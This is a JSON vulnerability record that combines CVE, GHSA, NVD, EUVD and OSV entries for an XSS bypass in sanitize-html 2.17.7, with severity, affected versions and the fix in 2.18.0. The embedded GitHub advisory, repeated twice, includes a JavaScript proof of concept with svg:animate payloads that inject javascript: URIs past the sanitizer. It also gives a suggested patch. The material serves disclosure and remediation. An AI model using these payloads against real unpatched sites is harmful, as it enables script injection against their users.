{"id":"CVE-2026-113657","aliases":["EUVD-2026-105186","GHSA-374f-7chj-9948"],"status":"published","title":"ApostropheCMS sanitize-html: SMIL animation namespace-prefix bypass allows javascript: URI injection (XSS)","description":"ApostropheCMS is an open-source Node.js content management system, and sanitize-html provides a simple HTML sanitizer with a clear API. From sanitize-html 2.17.7 until 2.18.0, an application configuration that permits namespace-prefixed SVG animation elements and the relevant URL-targeting attributes can bypass the SMIL URL protection because prefixed tag names do not match the unprefixed animation-element check. The bypass can rewrite a link destination to an unsafe URI after the sanitized SVG is rendered, with script execution occurring when a user activates the affected link; the default sanitizer configuration is not unconditionally affected. This issue is fixed in sanitize-html 2.18.0.","severity":{"version":"3.1","score":3.7,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:N","level":"low","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00313,"percentile":0.24556,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-79"],"published":"2026-10-20T16:54:12Z","modified":"2026-11-11T02:48:45Z","fixes":[{"ecosystem":"npm","package":"sanitize-html","fixed_in":["2.18.0"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"sanitize-html","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.17.7"},{"fixed":"2.18.0"}]}]},{"source":"osv","ecosystem":"npm","package":"sanitize-html","ranges":[{"type":"SEMVER","events":[{"introduced":"2.17.7"},{"fixed":"2.18.0"}]}]}],"products":[{"vendor":"apostrophecms","product":"apostrophe"},{"vendor":"apostrophecms","product":"sanitize-html"}],"references":[{"url":"https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-374f-7chj-9948","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://github.com/apostrophecms/apostrophe/commit/9500b8b0e1d630d5e07fbb5fd2c25ed0943845ce","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/apostrophecms/apostrophe/commit/f84fd41cbf6c22eb8d0008fc9c25df1f7130b350","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/apostrophecms/apostrophe/releases/tag/sanitize-html@2.18.0","tags":["x_refsource_MISC","web"]},{"url":"https://github.com/advisories/GHSA-374f-7chj-9948"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/113xxx/CVE-2026-113657.json","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113657","tags":["advisory"]},{"url":"https://github.com/apostrophecms/apostrophe","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-113657","title":"ApostropheCMS sanitize-html: SMIL animation namespace-prefix bypass allows javascript: URI injection (XSS)","description":"ApostropheCMS is an open-source Node.js content management system, and sanitize-html provides a simple HTML sanitizer with a clear API. From sanitize-html 2.17.7 until 2.18.0, an application configuration that permits namespace-prefixed SVG animation elements and the relevant URL-targeting attributes can bypass the SMIL URL protection because prefixed tag names do not match the unprefixed animation-element check. The bypass can rewrite a link destination to an unsafe URI after the sanitized SVG is rendered, with script execution occurring when a user activates the affected link; the default sanitizer configuration is not unconditionally affected. This issue is fixed in sanitize-html 2.18.0.","status":"published","published":"2026-10-20T16:54:12.995Z","modified":"2026-10-20T17:08:06.854Z","cvss":[{"version":"3.1","score":3.7,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:N","level":"low","assessor":"cna"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T13:44:18.366073Z"}],"euvd":[{"id":"EUVD-2026-105186","description":"ApostropheCMS is an open-source Node.js content management system, and sanitize-html provides a simple HTML sanitizer with a clear API. From sanitize-html 2.17.7 until 2.18.0, an application configuration that permits namespace-prefixed SVG animation elements and the relevant URL-targeting attributes can bypass the SMIL URL protection because prefixed tag names do not match the unprefixed animation-element check. The bypass can rewrite a link destination to an unsafe URI after the sanitized SVG is rendered, with script execution occurring when a user activates the affected link; the default sanitizer configuration is not unconditionally affected. This issue is fixed in sanitize-html 2.18.0.","status":"published","published":"2026-10-20T16:54:12Z","modified":"2026-10-20T17:08:06Z","cvss":[{"version":"3.1","score":3.7,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:N","level":"low"}],"updated_at":"2026-11-02T16:59:43.600473Z"}],"ghsa":[{"id":"GHSA-374f-7chj-9948","title":"ApostropheCMS sanitize-html: SMIL animation namespace-prefix bypass allows javascript: URI injection (XSS)","description":"## Summary\n\nsanitize-html 2.17.7 introduced `animatesUrlAttribute()` to block SVG animation elements (`animate`, `animateColor`, `animateMotion`, `animateTransform`, `set`) when their `attributeName` targets a URL sink like `href`. However, this check is bypassed when the animation element uses a namespace prefix (e.g., `svg:animate` instead of `animate`).\n\n## Root Cause\n\nThe `animatesUrlAttribute` function (index.js, line ~832) checks `svgAnimationTags.indexOf(name.toLowerCase())`, where `svgAnimationTags` contains bare local names: `[\"animate\", \"animatecolor\", \"animatemotion\", \"animatetransform\", \"set\"]`. htmlparser2 passes namespace-prefixed tag names verbatim, so `svg:animate` does not match `animate` in the array, causing the function to return `false` and skip the SMIL XSS protection.\n\nIronically, the function already handles namespace prefixes correctly for the `attributeName` target value (line ~843): `const localName = target.slice(target.lastIndexOf(\":\") + 1)` — but this same stripping was not applied to the tag name itself.\n\n## Proof of Concept\n\n```javascript\nconst sanitizeHtml = require(\"sanitize-html\");\n\nconst config = {\n  allowedTags: false,\n  allowedAttributes: false,\n  allowedSchemes: [\"http\", \"https\"]\n};\n\n// Standard animate — BLOCKED by 2.17.7 fix\nconst blocked = sanitizeHtml(\n  `\u003csvg\u003e\u003ca href=\"#safe\"\u003e\u003canimate attributeName=\"href\" values=\"#safe;javascript:alert(1)\" dur=\".01s\" fill=\"freeze\"/\u003e\u003ctext\u003eClick\u003c/text\u003e\u003c/a\u003e\u003c/svg\u003e`,\n  config\n);\nconsole.log(\"Standard animate:\", blocked.includes(\"javascript:\") ? \"BYPASS\" : \"BLOCKED\");\n// Output: BLOCKED\n\n// Namespace-prefixed animate — BYPASSES the fix\nconst bypassed = sanitizeHtml(\n  `\u003csvg\u003e\u003ca href=\"#safe\"\u003e\u003csvg:animate attributeName=\"href\" values=\"#safe;javascript:alert(document.domain)\" dur=\".01s\" fill=\"freeze\"/\u003e\u003ctext\u003eClick\u003c/text\u003e\u003c/a\u003e\u003c/svg\u003e`,\n  config\n);\nconsole.log(\"svg:animate:\", bypassed.includes(\"javascript:\") ? \"BYPASS\" : \"BLOCKED\");\n// Output: BYPASS\n```\n\nAll 5 SMIL animation elements are bypassable with any namespace prefix (`svg:`, `xlink:`, `xml:`, uppercase variants). Tested and confirmed on sanitize-html 2.17.7 from the apostrophe monorepo.\n\n## Impact\n\nCross-site scripting (XSS) via SMIL animation retargeting. When an application uses `allowedTags: false` (common in rich-text editors that want to preserve SVG), an attacker can inject `\u003csvg:animate attributeName=\"href\" values=\"#safe;javascript:...\" .../\u003e` to override the `href` attribute of a parent `\u003ca\u003e` element after the page loads, causing the link to execute JavaScript when clicked.\n\n## Suggested Fix\n\nStrip the namespace prefix from the tag name before the lookup, matching the pattern already used for the attribute name target:\n\n```javascript\n// Before (vulnerable):\nif (svgAnimationTags.indexOf(name.toLowerCase()) === -1) {\n\n// After (fixed):\nconst localTagName = name.toLowerCase().slice(name.lastIndexOf(\":\") + 1);\nif (svgAnimationTags.indexOf(localTagName) === -1) {\n```\n\n## Affected Versions\n\nsanitize-html \u003e= 2.17.7 (where the SMIL animation protection was introduced). Earlier versions lack the SMIL protection entirely.\n\n## Credit\n\nKai Aizen (SnailSploit) — Adversarial AI \u0026 Security Research","status":"published","published":"2026-10-20T18:21:19Z","modified":"2026-10-20T18:21:20Z","cvss":[{"version":"3.1","score":3.7,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:N","level":"low"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:41:33.669646Z"}],"nvd":[{"id":"CVE-2026-113657","description":"ApostropheCMS is an open-source Node.js content management system, and sanitize-html provides a simple HTML sanitizer with a clear API. From sanitize-html 2.17.7 until 2.18.0, an application configuration that permits namespace-prefixed SVG animation elements and the relevant URL-targeting attributes can bypass the SMIL URL protection because prefixed tag names do not match the unprefixed animation-element check. The bypass can rewrite a link destination to an unsafe URI after the sanitized SVG is rendered, with script execution occurring when a user activates the affected link; the default sanitizer configuration is not unconditionally affected. This issue is fixed in sanitize-html 2.18.0.","status":"published","published":"2026-10-20T17:17:36.78Z","modified":"2026-10-20T19:53:10.247Z","cvss":[{"version":"3.1","score":3.7,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:N","level":"low","assessor":"secondary"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:13:01.161484Z"}],"osv":[{"id":"CVE-2026-113657","title":"ApostropheCMS sanitize-html: SMIL animation namespace-prefix bypass allows javascript: URI injection (XSS)","description":"ApostropheCMS is an open-source Node.js content management system, and sanitize-html provides a simple HTML sanitizer with a clear API. From sanitize-html 2.17.7 until 2.18.0, an application configuration that permits namespace-prefixed SVG animation elements and the relevant URL-targeting attributes can bypass the SMIL URL protection because prefixed tag names do not match the unprefixed animation-element check. The bypass can rewrite a link destination to an unsafe URI after the sanitized SVG is rendered, with script execution occurring when a user activates the affected link; the default sanitizer configuration is not unconditionally affected. This issue is fixed in sanitize-html 2.18.0.","status":"published","published":"2026-10-20T16:54:12.995Z","modified":"2026-11-11T10:47:24.932931996Z","cvss":[{"version":"3.1","score":3.7,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:N","level":"low"}],"cwes":["CWE-79"],"updated_at":"2026-11-11T03:22:00.901153Z"},{"id":"GHSA-374f-7chj-9948","title":"ApostropheCMS sanitize-html: SMIL animation namespace-prefix bypass allows javascript: URI injection (XSS)","description":"## Summary\n\nsanitize-html 2.17.7 introduced `animatesUrlAttribute()` to block SVG animation elements (`animate`, `animateColor`, `animateMotion`, `animateTransform`, `set`) when their `attributeName` targets a URL sink like `href`. However, this check is bypassed when the animation element uses a namespace prefix (e.g., `svg:animate` instead of `animate`).\n\n## Root Cause\n\nThe `animatesUrlAttribute` function (index.js, line ~832) checks `svgAnimationTags.indexOf(name.toLowerCase())`, where `svgAnimationTags` contains bare local names: `[\"animate\", \"animatecolor\", \"animatemotion\", \"animatetransform\", \"set\"]`. htmlparser2 passes namespace-prefixed tag names verbatim, so `svg:animate` does not match `animate` in the array, causing the function to return `false` and skip the SMIL XSS protection.\n\nIronically, the function already handles namespace prefixes correctly for the `attributeName` target value (line ~843): `const localName = target.slice(target.lastIndexOf(\":\") + 1)` — but this same stripping was not applied to the tag name itself.\n\n## Proof of Concept\n\n```javascript\nconst sanitizeHtml = require(\"sanitize-html\");\n\nconst config = {\n  allowedTags: false,\n  allowedAttributes: false,\n  allowedSchemes: [\"http\", \"https\"]\n};\n\n// Standard animate — BLOCKED by 2.17.7 fix\nconst blocked = sanitizeHtml(\n  `\u003csvg\u003e\u003ca href=\"#safe\"\u003e\u003canimate attributeName=\"href\" values=\"#safe;javascript:alert(1)\" dur=\".01s\" fill=\"freeze\"/\u003e\u003ctext\u003eClick\u003c/text\u003e\u003c/a\u003e\u003c/svg\u003e`,\n  config\n);\nconsole.log(\"Standard animate:\", blocked.includes(\"javascript:\") ? \"BYPASS\" : \"BLOCKED\");\n// Output: BLOCKED\n\n// Namespace-prefixed animate — BYPASSES the fix\nconst bypassed = sanitizeHtml(\n  `\u003csvg\u003e\u003ca href=\"#safe\"\u003e\u003csvg:animate attributeName=\"href\" values=\"#safe;javascript:alert(document.domain)\" dur=\".01s\" fill=\"freeze\"/\u003e\u003ctext\u003eClick\u003c/text\u003e\u003c/a\u003e\u003c/svg\u003e`,\n  config\n);\nconsole.log(\"svg:animate:\", bypassed.includes(\"javascript:\") ? \"BYPASS\" : \"BLOCKED\");\n// Output: BYPASS\n```\n\nAll 5 SMIL animation elements are bypassable with any namespace prefix (`svg:`, `xlink:`, `xml:`, uppercase variants). Tested and confirmed on sanitize-html 2.17.7 from the apostrophe monorepo.\n\n## Impact\n\nCross-site scripting (XSS) via SMIL animation retargeting. When an application uses `allowedTags: false` (common in rich-text editors that want to preserve SVG), an attacker can inject `\u003csvg:animate attributeName=\"href\" values=\"#safe;javascript:...\" .../\u003e` to override the `href` attribute of a parent `\u003ca\u003e` element after the page loads, causing the link to execute JavaScript when clicked.\n\n## Suggested Fix\n\nStrip the namespace prefix from the tag name before the lookup, matching the pattern already used for the attribute name target:\n\n```javascript\n// Before (vulnerable):\nif (svgAnimationTags.indexOf(name.toLowerCase()) === -1) {\n\n// After (fixed):\nconst localTagName = name.toLowerCase().slice(name.lastIndexOf(\":\") + 1);\nif (svgAnimationTags.indexOf(localTagName) === -1) {\n```\n\n## Affected Versions\n\nsanitize-html \u003e= 2.17.7 (where the SMIL animation protection was introduced). Earlier versions lack the SMIL protection entirely.\n\n## Credit\n\nKai Aizen (SnailSploit) — Adversarial AI \u0026 Security Research","status":"published","published":"2026-10-20T18:21:19Z","modified":"2026-10-20T18:30:03.591034807Z","cvss":[{"version":"3.1","score":3.7,"vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:N","level":"low"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T15:46:35.406455Z"}]}}
